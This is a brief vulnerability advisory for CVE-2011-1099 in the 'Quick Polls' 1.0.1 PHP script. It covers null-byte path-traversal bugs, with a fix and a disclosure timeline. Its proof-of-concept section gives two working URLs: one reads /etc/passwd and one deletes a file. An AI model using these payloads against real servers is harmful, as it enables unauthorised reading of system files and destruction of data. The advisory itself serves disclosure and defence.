'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)

'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)
Mark Stanislav - [email protected]

I. DESCRIPTION

Two vulnerabilities exist in 'Quick Polls' providing local file inclusion &
local file deletion due to null-byte attacks against functions in index.php.

II. TESTED VERSION

1.0.1

III. PoC EXPLOITS

LFI:
http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00
LFD:
http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00

IV. NOTES

• magic_quotes_gpc must be disabled for null-byte attacks to work

V. SOLUTION

Upgrade to 1.0.2 or above

VI. REFERENCES

http://www.focalmedia.net/create_voting_poll.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099
http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/

VII. TIMELINE

02/05/2011 - Initial vendor disclosure
02/07/2011 - Vendor patched and released an updated version
02/07/2011 - Confirmed public disclosure date with vendor
03/06/2011 - Public disclosure